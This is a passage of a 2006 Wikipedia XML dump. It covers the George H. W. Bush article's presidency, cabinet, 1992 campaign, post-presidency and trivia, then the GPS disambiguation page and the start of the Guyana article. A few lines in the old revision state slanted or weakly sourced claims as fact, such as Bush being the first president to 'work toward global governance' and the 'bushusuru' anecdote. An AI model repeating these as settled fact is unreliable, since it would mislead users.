:&quot;''I come before you and assume the Presidency at a moment rich with promise. We live in a peaceful, prosperous time, but we can make it better. For a new breeze is blowing, and a world refreshed by freedom seems reborn; for in man's heart, if not in fact, the day of the dictator is over. The totalitarian era is passing, its old ideas blown away like leaves from an ancient, lifeless tree. A new breeze is blowing, and a nation refreshed by freedom stands ready to push on. There is new ground to be broken, and new action to be taken.''&quot;&lt;ref&gt;[http://bushlibrary.tamu.edu/research/papers/1989/89012000.html George H.W. Bush: Inagural Address] - transcript, speech delivered [[January 20]], [[1989]]&lt;/ref&gt;

Leading up to the first Gulf War, on September 11, 1990 President Bush addressing a joint session of Congress stated:
&quot;''Out of these troubled times, our fifth objective -- a New World Order -- can emerge: a new era''&quot; &lt;ref&gt;[http://bushlibrary.tamu.edu/research/papers/1990/90091101.html George H.W. Bush: Address Before a Joint Session of the Congress on the Persian Gulf Crisis and the Federal Budget Deficit] - transcript, speech delivered [[September 11]], [[1990]]&lt;/ref&gt;
thus becoming the first President of the United States of America to openly state and work toward global governance.

=== Tiananmen Square (April-June 1989)===
{{main|Tiananmen Square protests of 1989}}

{{sectstub}}

=== Fall of the Berlin Wall (November 1989) ===
{{main|Fall of the Berlin Wall}}

{{sectstub}}

=== Invasion of Panama (December 1989)===
{{main|Operation Just Cause}}

Operation Just Cause was the U.S. military invasion of Panama that deposed [[Manuel Noriega]] in December 1989. Noriega was a one time U.S. ally, who was implicated for cooperating with the illegal narcotics trade. The invasion was preceded by massive protests in Panama against Noriega. 

{{sectstub}}

=== Gulf War (January-February 1991)===
[[Image:Bush_troops.jpg|thumb|300px|President Bush visited [[United States|American]] troops in [[Saudi Arabia]] on [[Thanksgiving Day]], 1990]]
As President, Bush is perhaps best known for leading the [[United Nations]] coalition in the 1990&amp;ndash;1991 [[Gulf War]] despite his strong support for Saddam Hussein's regime against Congress over the latter's response to the Halabja affair, when he was Vice President and in his early days as President.  In 1990, led by [[Saddam Hussein]], [[Iraq]] invaded its oil-rich neighbor to the south, [[Kuwait]].  The broad coalition sought to remove Iraqi forces from [[Kuwait]] and ensure that [[Iraq]] did not invade [[Saudi Arabia]]. Bush claimed that his position was summed up succinctly when he said, &quot;This aggression will not stand,&quot; and &quot;this is not a war for oil. This is war against aggression.&quot;  It has since been revealed that the [[United Nations]] were unaware that the United States had actually attacked [[Iraq]] until they saw it on [[CNN]] ([[John Pilger]]).

In a foreign policy move that would later be questioned, President Bush achieved his stated objectives of &quot;liberating&quot; Kuwait and forcing Iraqi withdrawal, then ordered a cessation of combat operations &amp;mdash;allowing Saddam Hussein to stay in power.  His Secretary of Defense [[Dick Cheney]] noted that invading the country would get the United States &quot;bogged down in the quagmire inside Iraq.&quot; Bush later explained that he did not give the order to overthrow the Iraqi government because it would have &quot;incurred incalculable human and political costs... We would have been forced to occupy Baghdad and, in effect, rule Iraq&quot;. &lt;ref&gt;[http://www.thememoryhole.org/mil/bushsr-iraq.htm Reasons Not to Invade Iraq, by George Bush Sr.] - [[The Memory Hole]], accessed [[February 26]], [[2006]]&lt;/ref&gt; &lt;ref&gt;[http://www.snopes.com/politics/quotes/gulfwar.asp  A Word Transformed] - accessed [[February 26]], [[2006]]&lt;/ref&gt; 
 
In explaining to Gulf War veterans why he chose not to pursue the war further, he said, &quot;whose life would be on my hands as the commander-in-chief because I, unilaterally, went beyond the international law, went beyond the stated mission, and said we're going to show our macho?  We're going into Baghdad. We're going to be an occupying power &amp;mdash; America in an Arab land &amp;mdash; with no allies at our side. It would have been disastrous.&quot; &lt;ref&gt;[http://www.fas.org/news/iraq/1999/03/a19990303bush.htm Bush tells Gulf vets why Hussein left in Baghdad] - S. H. Kelly, [[United States Army]] News Center, [[March 3]], [[1999]]&lt;/ref&gt;

President Bush's popularity rating in America soared during and immediately after the apparent success of the military operations, but later fell dramatically due to an economic recession.

=== U.S.-Soviet cooperation, fall of the Soviet Union, and a &quot;New World Order&quot; (1989-1991)===
As the [[Collapse of the Soviet Union|Soviet Union was unraveling]], President Bush and Soviet President [[Mikhail Gorbachev]] declared a U.S.-Soviet strategic partnership at the summit of July 1991, decisively marking the end of the Cold War. President Bush declared that U.S.-Soviet cooperation during the Persian Gulf War in 1990-1991 had laid the groundwork for a partnership in resolving bilateral and world problems.

* [[Malta Summit]] &lt;ref&gt;[http://www.cnn.com/SPECIALS/cold.war/episodes/24/documents/malta/ Transcripts from Malta Summit] - [[CNN]]&lt;/ref&gt;

* Arms control: [[START I]], [[Nunn-Lugar Cooperative Threat Reduction]]

{{sectstub}}

{{seealso|Collapse of the Soviet Union|Brent Scowcroft|New World Order (political)|A World Transformed|History of the United States (1988-present)#The end of the Cold War}}

=== NAFTA (1992) ===
[[Image:Nafta.jpg|thumb|275px|NAFTA Initialing Ceremony, October 1992.  From left to right: (standing) President [[Carlos Salinas]], President Bush, Prime Minister [[Brian Mulroney]]; (seated) [[Jaime Serra Puche]], [[Carla Hills]], [[Michael Wilson]].]]

Bush's government, along with the [[Progressive Conservative Party|Conservative]] [[Canada|Canadian]] [[Prime Minister of Canada|Prime Minister]] [[Brian Mulroney]], spearheaded the negotiations of the [[NAFTA|North American Free Trade Agreement]] (NAFTA), which Bill Clinton signed in 1993.

{{sectstub}}

[[Image:Ghwbush.jpg|thumb|left|200px|The official White House portrait of President George H.W. Bush]]

=== Pardons (December 1992)===
Bush's last controversial act in office was his pardon of six former government employees implicated in the [[Iran-Contra]] scandal on [[December 24]], [[1992]], most prominently former Secretary of Defense [[Caspar Weinberger]]. Weinberger had been scheduled to stand trial on [[January 5]], [[1993]] for allegedly lying to Congress regarding his knowledge of arms sales to [[Iran]] and concealing 1700 pages of his personal diary detailing discussions with other officials about the arms sales. As Weinberger's private notes contained references to Bush's endorsement of the secret shipments to Iran, some believe that Bush's pardon was an effort to prevent an order for Bush to appear before a [[grand jury]] or possibly to avoid an indictment.  Weinberger's indictment stated that Weinberger's notes contradicted Bush's assertions that he had only peripheral knowledge of the arms for hostages deal.  Lawrence Walsh, the [[United States Office of the Independent Counsel|Independent Counsel]] assigned to the case, charged that &quot;the Iran-contra cover-up, which has continued for more than six years, has now been completed.&quot;  Walsh likened the pardons to President Nixon's [[Saturday Night Massacre]]. Bush responded that the Walsh probe constituted an attempt to criminalize a policy dispute between the legislative and executive branches. In addition to Weinberger, Bush pardoned [[Duane R. Clarridge]], [[Clair E. George]], [[Robert C. McFarlane]], [[Elliott Abrams]], and [[Alan G. Fiers Jr.]], all of whom had been indicted and/or convicted of charges by the Independent Counsel.

&lt;br clear=&quot;all&quot;&gt;
=== Administration and Cabinet ===
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''George H. W. Bush'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Dan Quayle|J. Danforth Quayle]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|State]]||align=&quot;left&quot;|'''[[James Baker|James A. Baker III]]'''||align=&quot;left&quot;|1989&amp;ndash;1992
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Lawrence Eagleburger]]'''||align=&quot;left&quot;|1992&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Treasury]]||align=&quot;left&quot;|'''[[Nicholas F. Brady]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Defense|Defense]]||align=&quot;left&quot;|'''[[Dick Cheney|Richard B. Cheney]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Justice]]||align=&quot;left&quot;|'''[[Dick Thornburgh|Richard L. Thornburgh]]'''||align=&quot;left&quot;|1989&amp;ndash;1991
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William Barr|William P. Barr]]'''||align=&quot;left&quot;|1991&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Interior]]||align=&quot;left&quot;|'''[[Manuel Lujan, Jr.]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Commerce|Commerce]]||align=&quot;left&quot;|'''[[Robert Mosbacher|Robert A. Mosbacher]]'''||align=&quot;left&quot;|1989&amp;ndash;1992
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Barbara Hackman Franklin]]'''||align=&quot;left&quot;|1992&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Labor|Labor]]||align=&quot;left&quot;|'''[[Elizabeth Dole|Elizabeth Hanford Dole]]'''||align=&quot;left&quot;|1989&amp;ndash;1991
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Lynn Martin]]'''||align=&quot;left&quot;|1991&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Agriculture]]||align=&quot;left&quot;|'''[[Clayton K. Yeutter]]'''||align=&quot;left&quot;|1989&amp;ndash;1991
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Edward Madigan]]'''||align=&quot;left&quot;|1991&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Health and Human Services|HHS]]||align=&quot;left&quot;|'''[[Louis Wade Sullivan|Louis W. Sullivan]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Education|Education]]||align=&quot;left&quot;|'''[[Lauro Cavazos]]'''||align=&quot;left&quot;|1989&amp;ndash;1990
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Lamar Alexander]]'''||align=&quot;left&quot;|1991&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Housing and Urban Development|HUD]]||align=&quot;left&quot;|'''[[Jack Kemp|Jack F. Kemp]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Transportation|Transportation]]||align=&quot;left&quot;|'''[[Samuel K. Skinner]]'''||align=&quot;left&quot;|1989&amp;ndash;1992
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Andrew Card|Andrew H. Card]]'''||align=&quot;left&quot;|1992&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Energy|Energy]]||align=&quot;left&quot;|'''[[James D. Watkins]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|-
|align=&quot;left&quot;|[[United States Secretary of Veterans Affairs|Veterans Affairs]]||align=&quot;left&quot;|'''[[Ed Derwinski|Edward J. Derwinski]]'''||align=&quot;left&quot;|1989&amp;ndash;1993
|}
&lt;br clear=&quot;all&quot;&gt;

=== Supreme Court appointments ===
Bush appointed the following Justices to the [[Supreme Court of the United States]]:

* [[David Souter]] &amp;ndash; 1990
* [[Clarence Thomas]] &amp;ndash; 1991, making Bush the first Republican president to appoint an African American Supreme Court justice.

== 1992 re-election campaign ==
[[Image:FordNixonBushReagenCarter.jpg|thumb|right|160px|Presidents [[Gerald Ford]], [[Richard Nixon]], George H. W. Bush, [[Ronald Reagan]], and [[Jimmy Carter]] at the dedication of the Reagan Presidential Library.]]

The tail end of the [[late 1980s recession]], that had dogged most of Bush's term in office, was a contributing factor to his defeat in the [[U.S. presidential election, 1992|1992 Presidential election]].  Several other factors were key in his defeat, including siding with Congressional [[United States Democratic Party|Democrats]] in 1990 to raise taxes despite his famous &quot;[[Read my lips: No new taxes]]&quot; pledge not to institute any new taxes. In doing so, Bush alienated many members of his conservative base, losing their support for his re-election.  

Another major factor, which may have helped [[Bill Clinton]] defeat Bush in the 1992 election, was the candidacy of [[Ross Perot]]. Ross Perot ran a maverick independent campaign, focusing on the budget deficit as a primary issue. Many conservatives, disillusioned by the tax increase and continued increases in federal spending, supported him. Perot won 19% of the popular vote, and Clinton, still a largely unknown quantity in American politics, won the election with a plurality. 

{{sectstub}} 

Despite his defeat, George H.W. Bush left office in 1993 with a 56 percent job approval rating. &lt;ref&gt;[http://abcnews.go.com/sections/politics/DailyNews/poll%5Fclintonlegacy010117.html Poll: Clinton Legacy Mixed] - Gary Langer, [[ABC News]], [[January 17]], [[2001]]&lt;/ref&gt;

==Post-presidency==
[[Image:Pres38-42.jpg|thumb|200px|right|Five [[President_of_the_United_States#Former_Presidents|presidents]] and [[First Lady of the United States|first ladies]] attended the funeral of [[Richard Nixon]] on [[April 27]], [[1994]], in Nixon's hometown of [[Yorba Linda, California|Yorba Linda]], [[California]]. From left: [[Bill Clinton|Bill]] and [[Hillary Clinton]], [[George H. W. Bush|George H.W.]] and [[Barbara Bush]], [[Ronald Reagan|Ronald]] and [[Nancy Reagan]], [[Jimmy Carter|Jimmy]] and [[Rosalynn Carter]], [[Gerald Ford|Gerald]] and [[Betty Ford]].]]

[[Image:Bushclinton2.jpg|thumb|left|Former presidents Bush and [[Bill Clinton]] at [[Super Bowl XXXIX]] in 2005.]]

Since his final election campaign, Bush has largely retired from public life. The Bushes live in [[Houston, Texas|Houston]] and their summer home in [[Kennebunkport, Maine|Kennebunkport]], [[Maine]]. He holds his own fishing tournament in [[Islamorada]], an island in the [[Florida Keys]].

In April 1993, the Iraqi Intelligence Service attempted to [[assassination|assassinate]] former President Bush via [[car bomb]] during a visit to [[Kuwait]]. However, Kuwaiti security foiled the [[car bomb]] plot. On [[June 26]], 1993, the U.S. launched a missile attack targeting Baghdad intelligence headquarters in retaliation for the attempted attack against Bush.

Bush has never written a [[memoir]] of his political life, and says he does not plan to.  He has, however, published a book containing a series of collected letters (''All The Best, George Bush'', 1999), and co-authored a book on recent foreign policy issues with his former National Security Advisor, [[Brent Scowcroft]] (''[[A World Transformed]]'', 1998).  He has given a number of paid speeches and participated in business ventures with the [[Carlyle Group]].

The [[George Bush Presidential Library and Museum]] is located on the Southwest corner of the campus of [[Texas A&amp;M University]] in [[College Station, Texas|College Station]], Texas.

[[George Bush Intercontinental Airport]] in [[Houston, Texas|Houston]], Texas was renamed after the former president in 1997. The tenth [[Nimitz class aircraft carrier|''Nimitz''-class aircraft carrier]] will be named [[USS George H. W. Bush|USS ''George H. W. Bush'']] when it is [[ship naming and launching|launched]] in 2009.

In 2001, he became the first president since [[John Adams]] to be father of another president when his son [[George W. Bush]], previously [[Governor of Texas]], took office as President of the United States. During his term of office, George H. W. Bush was simply known as President George Bush, since his son had never held elective office and was not especially well-known to the public. He is now referred to by various nicknames and titles, including &quot;Former President Bush,&quot; &quot;Bush the Elder,&quot; &quot;the first President Bush,&quot; &quot;Bush 41,&quot; &quot;Papa Bush,&quot; and simply &quot;41&quot;, in order to avoid confusion between his presidency and that of his son. Although the names of the two men are similar, they are not identical—George W. Bush lacks his father's middle name Herbert—so they are not known as &quot;senior&quot; and &quot;junior.&quot;

[[Image:Jp2presidents.jpg|thumb|right|Bush, along with his son President [[George W. Bush]], his daughter-in-law, [[Laura Bush|Laura]], and another former president, [[Bill Clinton]], pay their respects to [[Pope John Paul II]] before the pope's funeral.]]

On [[June 12]], [[2004]], he went [[skydiving]] in honor of his 80th birthday. It was his third parachute jump since World War II. He also made a jump on June 9, 1999, before his 75th birthday, and told reporters then he had also parachuted in Arizona two years earlier. The day before his 80th birthday jump, he and his son both took part in eulogizing his predecessor, [[Ronald Reagan]], at the [[State funeral of Ronald Reagan|latter's state funeral]].

On [[November 22]], [[2004]], New York Republican Governor [[George Pataki]] named Bush and the other living former presidents ([[Gerald Ford]], [[Jimmy Carter]], and [[Bill Clinton]]) as honorary members of the board rebuilding the [[World Trade Center]].

On [[January 3]] [[2005]], Bush and Bill Clinton were named by the current President Bush to lead a nationwide campaign to help the victims of the [[2004 Indian Ocean earthquake|Indian Ocean tsunami]]. Bush and Clinton both appeared on the [[Super Bowl XXXIX]] pre-game show on [[Fox Television Network|Fox]] in support of their bipartisan effort to raise money for relief of the disaster through the [[USA Freedom Corps]], an action which Bush described as &quot;transcending politics.&quot; Thirteen days later, they both traveled to the affected areas to see how the relief efforts are going.

In [[August 31]], 2005, following the devastation of the [[Gulf Coast]] by [[Hurricane Katrina]], Bush again teamed with Clinton to coordinate private relief donations.  Reports were common that Bush and Clinton had developed a friendship by now, despite the latter having defeated the former in the 1992 election.  (Such friendships were not unknown, as Gerald Ford and Jimmy Carter had developed one despite a similar history.)

Bush and his wife Barbara could also be seen sitting in the front row behind [[home plate]] at [[Minute Maid Park]] in Houston, supporting the [[Houston Astros]] during the [[2005 World Series]].

== Trivia ==
*Bush was nearly 6 feet, 4 inches tall in his prime, making him one of the tallest U.S. presidents to date.

*He was the first President to have two middle names and the first President to be born in June. 

*On [[January 8]], [[1992]], Bush [[vomit]]ed on the lap of the [[Prime Minister of Japan]], [[Kiichi Miyazawa]], during a state dinner.  He then fainted.  The incident, which Bush claimed was nothing more than the [[flu]], was caught on camera and raised questions about his health, in addition to being a major source of [[embarrassment]].  The Japanese named a verb for this incident: &quot;bushusuru&quot;, meaning &quot;to commit an instance of embarrassing public vomiting&quot;, or literally &quot;to do the Bush thing&quot;. &lt;ref&gt;[http://www.metroactive.com/papers/sonoma/01.05.05/open-mic-0501.html Open Mic - Scandal Scope] - Richard von Busack, ''Metroactive Features'', accessed [[February 26]], [[2006]]&lt;/ref&gt;
&lt;!-- Note: The book &quot;Secret Lives of the U.S. Presidents&quot; (page 253 and 255) refers to this verb as &quot;bushusuru&quot;, the Metro Newspaper cites the verb as &quot;bushuru&quot;. --&gt;

*On [[October 22]], [[1994]], Bush appeared on ''[[Saturday Night Live]]'', via satellite. He joined guest host [[Dana Carvey]] as the latter did his trademark impression of Bush. 

*Bush is one of two former presidents to be given the [[British honours system|honorary title]] [[Order of the Bath|Knight Grand Cross of the Order of the Bath]] (GCB) by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]].

*G.H.W. Bush is the only president to have been CIA director, and the only president to have been ambassador to the People's Republic of China.

*G.H.W. Bush is the only president to have been a World War II U.S. Navy combat aviator.

*In the television series ''[[The Simpsons]]''' seventh-season episode &quot;[[Two Bad Neighbors]]&quot;, the character George H. W. Bush was featured. He, Mrs. Bush and Bart Simpson interacted in a manner modeled on the relationships between Dennis ''The Menace'' Mitchell and Mr. &amp; Mrs. Wilson. Furthermore, he was (before the dissolution) a member of the Stonecutter's world council alongside [[Orville Redenbacher]], [[Mr. T]] and [[Jack Nicholson]]. He is currently a member of the 'No Homers' World Council.

*Bush was diagnosed with [[Graves disease]] in 1991.

*There was a Bush or Bob Dole on EVERY Republican presidential ticket from 1976 to 2004.  (Ford-Dole, Reagan-Bush, Reagan-Bush, Bush-Quayle, Bush-Quayle, Dole-Kemp, Bush-Cheney, Bush-Cheney).

*G.H.W. Bush was the first president born in June, according to the Complete Book of U.S. Presidents (2001 edition), and now presidents have been born in all 12 months.

*Bush banned [[broccoli]] from the White House and Air Force One: &quot;I'm President of the United States, and I'm not going to eat any more broccoli!&quot;  This spawned a routine on the TV show [[Histeria]] which portrayed him doing a Green Eggs and Ham-type routine.  Also, because of this, an article was printed in Taste of Home magazine for February and March 1998 that talked about a Presidential theme party whose menus said, &quot;No broccoli permitted.&quot;

== References ==
* O'Brien, Cormac.  ''Secret Lives of the U.S. Presidents''.  Quirk Books (2004).  Philadelphia, PA.  ISBN 1-931686-57-2.  pp. 251-255.

==Notes==
&lt;references/&gt;

== Further reading ==
* Tarpley, Webster G. and Chaitkin, Anton. 2004. ''George Bush: The Unauthorized Biography''. Tree of life publications.
* Barilleaux, Ryan J. and Mary E. Stuckey, eds. ''Leadership and the Bush Presidency: Prudence or Drift in an Era of Change''. New York: Praeger Publishers, 1992.
* Stephen J. Ducat. 2004. ''The Wimp Factor''. Boston: Beacon Press. 
* Bush, George H. W., 1999. ''All the Best: George Bush: My Life and Other Writings''. New York: Scribner.
* Duffy, Michail &amp; Dan Goodgame 1992. ''Marching in Place: The Status Quo Presidency of George Bush''. New York: Simon and Schuster.
* Green, John Robert. 2000. ''The Presidency of George Bush''. Lawrence, KS: University Press of Kansas.
* Hyams, Joe. 1991. ''Flight of the Avenger: George Bush at War''. New York: Harcourt Brace Jovanovic Publishers.
* Podhoretz, John. 1993. ''Hell of a Ride: Backstage at the White House Follies, 1989-1993''. New York: Simon and Schuster.
* [[Jean Edward Smith]]. 1992. ''George Bush's War''. New York: Henry Holt &amp; Company.

== See also ==
* [[U.S. presidential election, 1980]]
* [[U.S. presidential election, 1988]]
* [[U.S. presidential election, 1992]]
{{see|:Category:George H.W. Bush}}

== External links ==
{{Wikiquote|George H. W. Bush}}
{{Wikisource author|George Herbert Walker Bush|George H. W. Bush}}
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/bush.htm Inaugural Address]
* [http://www.presidency.ucsb.edu The American Presidency Project at UCSB: The Most Comprehensive Resource on the Web]
** [http://www.presidency.ucsb.edu/ws/index.php Public Papers of the Presidents: George Bush]
** [http://www.presidency.ucsb.edu/sou.php State of the Union Addresses]
*** [http://www.presidency.ucsb.edu/ws/index.php?pid=18095 1990],[http://www.presidency.ucsb.edu/ws/index.php?pid=19253 1991],[http://www.presidency.ucsb.edu/ws/index.php?pid=20544 1992]
** [http://www.presidency.ucsb.edu/sou.php Inaugural Addresses]
*** [http://www.presidency.ucsb.edu/ws/index.php?pid=16610 1989]
** [http://www.presidency.ucsb.edu/elections.php Presidential Elections]
*** [http://www.presidency.ucsb.edu/showelection.php?year=1988 1988],[http://www.presidency.ucsb.edu/showelection.php?year=1992 1992]
** [http://www.presidency.ucsb.edu/medialist.php?presid=41 61 Audio/Video Clips of George Bush]
** [http://www.presidency.ucsb.edu/data.php Academic Data Related to the Bush Administration]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=BushGHW Audio recordings of Bush's speeches]
* [http://www.snopes.com/history/american/bushscan.htm Page discussing the scanner story]
* [http://www.tarpley.net/bushb.htm George Bush: The Unauthorized Biography] by Webster G. Tarpley &amp; Anton Chaitkin
* [http://www.newsmeat.com/washington_political_donations/George_HW_Bush.php George Bush's political donations]
* [http://www.whitehouse.gov/history/presidents/gb41.html White House biography]
* [http://www.doctorzebra.com/prez/g41.htm Medical and Health History of George H. W. Bush]
* {{gutenberg author| id=George+Bush | name=George Bush}}

{{start box}}
{{succession box|title=[[United States House of Representatives, Texas District 7|U.S. Congressman for the 7th District of Texas]]|before=[[John V. Dowdy]]|after=[[Bill Archer]]|years=1967 &amp;ndash; 1971}}
{{succession box | before = [[Charles W. Yost]] | title = [[United States Ambassadors to the United Nations|U.S. Ambassador to the UN]] | years = 1971 &amp;ndash; 1973| after = [[John A. Scali]]}}
{{succession box|title=[[Chairman of the Republican National Committee]]|before=[[Bob Dole]]|after=[[Mary Louise Smith (1914-1997)|Mary Louise Smith]]|years=1973 &amp;ndash; 1974}}
{{succession box | before = [[William E. Colby]] | title = [[Director of Central Intelligence]] | years = 1976 &amp;ndash; 1977| after = Adm. [[Stansfield Turner]]}}
{{succession box | before = [[Bob Dole]] | title = [[:Category:Republican Party (United States) vice presidential nominees|U.S. Republican Party Vice Presidential Nominees]] | years=[[U.S. presidential election, 1980|1980]] (won), [[U.S. presidential election, 1984|1984]] (won)| after = [[Dan Quayle]]}}
{{succession box | before = [[Walter Mondale]] | title = [[Vice President of the United States]] | years=[[January 20]], [[1981]] &amp;ndash; [[January 20]], [[1989]]&lt;br/&gt;[[Acting President of the United States|Acting President]]: [[July 13]], [[1985]]| after = [[Dan Quayle]]}}
{{succession box | before = [[Ronald Reagan]] | title = [[:Category:Republican Party (United States) presidential nominees|U.S. Republican Party Presidential Nominees]] | years=[[U.S. presidential election, 1988|1988]] (won), [[U.S. presidential election, 1992|1992]] (lost)| after = [[Bob Dole]]}}
{{succession box | before = [[Ronald Reagan]] | title = [[President of the United States]] | years=[[January 20]], [[1989]] &amp;ndash; [[January 20]], [[1993]]| after = [[Bill Clinton]]}}
{{end box}}

{{USpresidents | before=[[Ronald Reagan|Reagan]] | after=[[Bill Clinton|Clinton]]| years=1989&amp;ndash;1993}}
{{US Vice Presidents}}
{{DCIA}}
{{USUNambassadors}}
{{RNCchairmen}}
{{USRepPresNominees}}
{{USRepVicePresNominees}}

&lt;!--categories for career/source of notability--&gt;

&lt;!--categories for other accomplishments/notable relationships--&gt;

&lt;!--categories for biographical trivia--&gt;

&lt;!--self-defined category--&gt;

{{Persondata
|NAME=Bush, George Herbert Walker
|ALTERNATIVE NAMES=Bush, George Sr.
|SHORT DESCRIPTION=41st [[president of the United States]] (1989-1993)
|DATE OF BIRTH=[[12 June]] [[1924]]
|PLACE OF BIRTH=[[Milton, Massachusetts|Milton]], [[Massachusetts]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:1924 births|Bush, George H. W.]]
[[Category:Alpha Phi Omega honorary brothers|Bush, George H.W.]]
[[Category:Ambassadors of the United States|Bush, George H. W.]]
[[Category:American World War II veterans|Bush, George H. W.]]
[[Category:Bonesmen|Bush, George H. W.]]
[[Category:Bush family|Bush, George H. W.]]
[[Category:Delta Kappa Epsilon brothers|Bush, George H.W.]]
[[Category:Directors of the Central Intelligence Agency|Bush, George H. W.]]
[[Category:Episcopalians|Bush, George H. W.]]
[[Category:George H.W. Bush| ]]
[[Category:Knights Grand Cross of the Bath|Bush, George H. W.]]
[[Category:Living people|Bush, George H. W.]]
[[Category:Naval aviators|Bush, George H. W.]]
[[Category:People from Connecticut|Bush, George H. W.]]
[[Category:People from Maine|Bush, George H. W.]]
[[Category:United States Senate candidates|Bush, George H.W.]]
[[Category:People from Massachusetts|Bush, George H. W.]]
[[Category:Phi Beta Kappa members|Bush, George H. W.]]
[[Category:Presidents of the United States|Bush, George H. W.]]
[[Category:Pro-life politicians|Bush, George H.W.]]
[[Category:RNC Chairmen|Bush, George H. W.]]
[[Category:Texas politicians|Bush, George H. W.]]
[[Category:Trilateral Commission member|Bush, George H. W.]]
[[Category:Members of the United States House of Representatives from Texas|Bush, George H. W.]]
[[Category:Republican Party (United States) presidential nominees|Bush, George H. W.]]
[[Category:Republican Party (United States) vice presidential nominees|Bush, George H. W.]]
[[Category:United States Navy officers|Bush, George H. W.]]
[[Category:Vice Presidents of the United States|Bush, George H. W.]]
[[Category:Yale alumni|Bush, George H. W.]]
[[Category: Phillips Academy alumni|Bush, George H. W.]]

[[ar:جورج ه. و. بوش]]
[[bg:Джордж Хърбърт Уокър Буш]]
[[cs:George H. W. Bush]]
[[cy:George H.W. Bush]]
[[da:George H.W. Bush]]
[[de:George H. W. Bush]]
[[eo:George H. BUSH]]
[[es:George H. W. Bush]]
[[et:George H. W. Bush]]
[[fa:جورج هربرت واكر بوش]]
[[fi:George H. W. Bush]]
[[fr:George Herbert Walker Bush]]
[[gl:George Herbert Walker Bush]]
[[he:ג'ורג' הרברט ווקר בוש]]
[[hu:George H. W. Bush]]
[[id:George H. W. Bush]]
[[it:George H. W. Bush]]
[[ja:ジョージ・H・W・ブッシュ]]
[[ko:조지 H. W. 부시]]
[[la:Georgius H. W. Bush]]
[[ms:George H. W. Bush]]
[[nl:George H.W. Bush]]
[[nn:George H.W. Bush]]
[[no:George H.W. Bush]]
[[pl:George H. W. Bush]]
[[pt:George H. W. Bush]]
[[ru:Буш, Джордж Герберт Уолкер]]
[[simple:George H. W. Bush]]
[[sk:George H. W. Bush]]
[[sq:George H. W. Bush]]
[[sr:Џорџ Х. В. Буш]]
[[sv:George H.W. Bush]]
[[th:จอร์จ เอช. ดับเบิลยู. บุช]]
[[uk:Джордж Буш Старший]]
[[zh:乔治•赫伯特•沃克•布什]]</text>
    </revision>
  </page>
  <page>
    <title>GPS (disambiguation)</title>
    <id>11956</id>
    <revision>
      <id>39822725</id>
      <timestamp>2006-02-16T02:36:31Z</timestamp>
      <contributor>
        <username>Settinghead</username>
        <id>193564</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''GPS''' can refer to:

* [[Global Positioning System]]
* [[GNAT Programming Studio]]
* [[Generalized Processor Sharing]]
* [[General Problem Solver]]
* [[New South Wales, Australia|New South Wales]] [[GPS Schools|Great Public Schools]]
* [[Queensland, Australia|Queensland]] [[Queensland Great Public Schools|Great Public Schools]] Association Inc.
{{TLAdisambig}}

[[da:GPS (flertydig)]]
[[de:GPS]]
[[sl:GPS (razločitev)]]</text>
    </revision>
  </page>
  <page>
    <title>Guyana</title>
    <id>11957</id>
    <revision>
      <id>41978037</id>
      <timestamp>2006-03-03T00:27:24Z</timestamp>
      <contributor>
        <username>CPMcE</username>
        <id>785933</id>
      </contributor>
      <minor />
      <comment>rv test (?)</comment>
      <text xml:space="preserve">{{Template:Guyana infobox}}

The '''Co-operative Republic of Guyana''' is a [[nation]] on the northern coast of [[South America]], just above the Equator and a part of the western part of the wider region of [[Guiana]]. The country is bordered to the east by [[Suriname]], to the south by [[Brazil]], to the west by [[Venezuela]] and to the north by the [[Atlantic Ocean]]. It is the third smallest country in South America and approximately the size of [[Great Britain]] or [[Idaho]].

